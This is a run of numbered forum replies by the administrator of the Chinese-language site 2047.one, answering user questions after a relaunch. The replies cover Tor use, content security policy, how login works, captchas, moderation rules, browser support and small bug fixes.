    图上显示的这个文件,是markdown编辑器使用的字体文件,因此只要打开包含编辑器的页面,就会加载这个文件。

    本来fontawesome.min.css这份文件就是从bootstrapcdn上加载的,但后来为了加快加载速度,就把这个文件host在2047服务器上面了,你可以按f12查看这个文件。原来从bootstrapcdn加载文件的指令还保留了一份,因此控制台会显示一条被拦截的消息。

  26. 47小管家   在小组 站务 回复文章

    你认为反贼论坛是否应该设计成最小化的功能, 就像暗网一样?

    理解您对于安全的顾虑,您希望在墙国自由发言亦是合理的需求。2047作为不受中共审核的中文平台必然有受到攻击的风险,必须考虑站方与用户的安全;与此同时2047作为一个多种话题的交流平台,希望能给不同知识背景的用户提供较好的交流体验。

    如果全力追求安全,2047应该作为一个no Javascript的暗网网站存在;而如果全力追求多样化用户体验,2047则应增加各种流行的社交功能。二者难以兼得,因此2047目前追求在安全和用户体验之间达到一个合理的平衡,包括:

    1. 建立在明网上以便用户参与。

    2. 不记录IP、浏览器操作系统或其他任何用户标识信息(见《使用协议》)。

    3. 启用内容安全策略,使用白名单禁止一切站外脚本。

    4. 加固服务器,预防其他可能被攻击的漏洞。

    5. 使用站内JavaScript脚本使得用户能较为方便顺畅地使用内容编辑、点赞、设置等功能。

    我们建议用户们使用Tor这样的匿名网络,并使用加固的浏览器(例如Tor browser)。这种情况下,启用站内javascript safer模式并无额外风险。如果启用双虚拟机+Tor的方案,则用户可以做到安全自足。

    总之,如果用户用tor浏览器登录2047,攻击者锁定2047用户IP的方式只有Cloudflare失陷/2047服务器失陷+ tor三层节点都是蜜罐+ 前置代理失陷,中招概率远小于中共明年倒台。

  27. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    旧站搜索使用了谷歌引擎,相当于在Google搜索“site:2047.one 关键词”。新站搜索功能仍在开发,目前您可以使用谷歌搜索“site:2047.one tor”达到与旧站搜索相同的效果。

  28. 47小管家   在小组 站务 回复文章

    Tor的Safest级别下无法登录?我没记错的话以前是可以无JS登录的?

    thphd的事情不是因为js本身出了漏洞,而是因为他没有给网站做安全配置。在现代的web技术下,如果正确配置了内容安全策略和SameSite cookie,可以从根源上防止XSS攻击和CSRF攻击。

    在开发新版2047的时候,我确实测试过无JS的前端,但是测试之后效果并不好。大量iframe会拖慢页面渲染速度,造成代码臃肿,反而增加了复杂度。论安全性,可能还不如js+组件化开发来的好。

    网站安全和使用体验都有必要兼顾,因此一定的页面设计和效果是有必要的。一些暗网色情和毒品交易网站的界面十分简陋,只保证最低限度的浏览和发布功能,但除非真的有“特殊需求”,大多数人并没兴趣访问或长期使用这样的产品。

  29. 47小管家   在小组 站务 回复文章

    Tor的Safest级别下无法登录?我没记错的话以前是可以无JS登录的?

    以前和现在都不行。因为2047从name时代开始,就会做客户端散列,所以不能去掉js。改版之后的代码已经完全重写,但还是沿用了这个feature,去掉这个功能会造成大量已注册用户无法登录。

    另外后端接口也只兼容json,不考虑支持HTML Form。

    --

    2047有两个登录凭证,一个是cookie,key叫做“id”;另一个是CSRF token,放在localstorage里。你可以把这两个凭证复制出来,用的时候黏贴进浏览器,再刷新页面,和登录的效果是一样的。

  30. 47小管家   在小组 站务 回复文章

    2047.one/links还会保留吗?好东西不要删啊

    现在实体编辑是小组特有的功能,在小组右上的菜单栏里可以找到入口。将来会考虑支持自定义小组首页,小组组长可以把实体列表放在小组首页。

  31. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    感谢反馈,这个问题已经解决了,现在可以正常显示了。

    点击隐藏可以删除帖子,也可以把不想要的内容编辑掉。

  32. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    在2047的安全模型下,第三方验证码不是主要的风险来源,反之机器批量注册账号的破坏更大。用两家验证码的原因是hcaptcha和recaptcha都有被绕过的风险,组合使用可以把被爆破的风险降到最低。

  33. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    第一道验证码在tor下有一定概率失败,可能是谷歌对tor做了限制。提示失败后,再按照提示点击1-2次就可以通过。

    tag数据仍然保留在后台,目前正在对tag做重新整理和筛选。

  34. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    谢谢反馈。请问这种情况有反复发生吗?

  35. 47小管家   在小组 站务 回复文章

    2047.one/links还会保留吗?好东西不要删啊

    谢谢您的建议。Links中的资源宝贵,改版后也全部保留。目前输入 https://2047.one/links 会自动转链到 https://2047.one/g/2047/entity/Link 作为“2047小组”实体编辑的一部分。

  36. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    谢谢反映。这一情况我们会跟进。

  37. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    由47小管家决定

  38. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    2047的管理员分全站管理员和小组管理员,全站管理员只有47小管家一人,小组管理员由各个可由小组的组长任免。

    小组的组长有管理自己小组的完全权限,小组的组长也有权力制定本小组的规则(自己全权负责或交给网友选举)。如果对小组的管理有疑问(例如对管理员不满),可以找小组的组长解决;如果用户不喜欢某个小组,可以加入其它小组或自己另立小组,小组的管理之间互不相通。

    全站管理不处理小组内部的纠纷,也不干涉小组的管理,我们也不会搞红迪超管越权删帖或者shadowban那一套。

    比较特殊的是“2047”小组,旧组旧办法,新组新办法,2047小组仍然按过去的规则管理。

  39. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    无法截屏是浏览器的限制,2047没有对截屏做任何限制(事实上也做不到)。

  40. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    2047支持的浏览器版本最低为Chrome 67.0、Firefox 63、Edge 79、Safari 10.1和Opera 64,换句话说,只要是18年下半年之后发布的浏览器,页面都可以正常显示。

    在IE,旧版浏览器,和一些不支持Web Component的“国产”浏览器上,部分页面无法正常显示,表现就是按钮显示为一个蓝框且没有文字。低版本的浏览器有很多安全隐患,因此从一开始就没有考虑支持低版本的浏览器。

  41. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    目前有若干个分区不在首页显示,其中包括“吐槽”,“假设”,“2047”,“司法实践”。管理员最近正在把这些分区的帖子重新分类,因此暂时不在首页显示。

  42. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    • 技术上不支持修改用户名。实际上2047从name到one,一直都不能修改用户名。如果确实有这种需求,可以修改下面的“昵称”。昵称会替代用户名显示,而且没有修改次数限制。
    • 修改其它个人资料方面有微小的bug,已经修复。
    • 这是markdown语法。如果要输入回车换行,请输入两个回车,如果要输入多个回车,请输入<br>
  43. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    感谢反馈,目前这个问题无法复现,我会持续关注这个问题

  44. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    现在可以在登录和注册页面按回车登录了。

  45. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    声望和赞数成正比,如果有一篇帖子被人赞同了20次,原则上就会得到20点声望。但是不是所有用户的点赞都可以让别人获得声望。能够通过点赞让别人获得声望的账号,需要注册满一定的时长,同时有一定的历史活动量(点赞、发帖、被赞)积累。

  46. 47小管家   在小组 站务 回复文章

    2047意见反馈和bug报告楼

    改版之后问题已解决

  47. 47小管家   在小组 站务 回复文章

    新站上线集中问答帖

    感谢建议,已修复


    目前2047已经把对js依赖压缩到了最小,点赞、下拉菜单、编辑器这些功能必须依赖JS,而且没有很好的替代方式。

    一些嵌入iframe之类的trick可以替代js的功能,但是这又会引入新的安全问题,而且性能远远不如原生js实现。2047有非常严格的内容安全策略以阻止未授权脚本执行。另外,2047的js没有做混淆或压缩(使用的库有压缩,否则体积太大了),可以直接查看。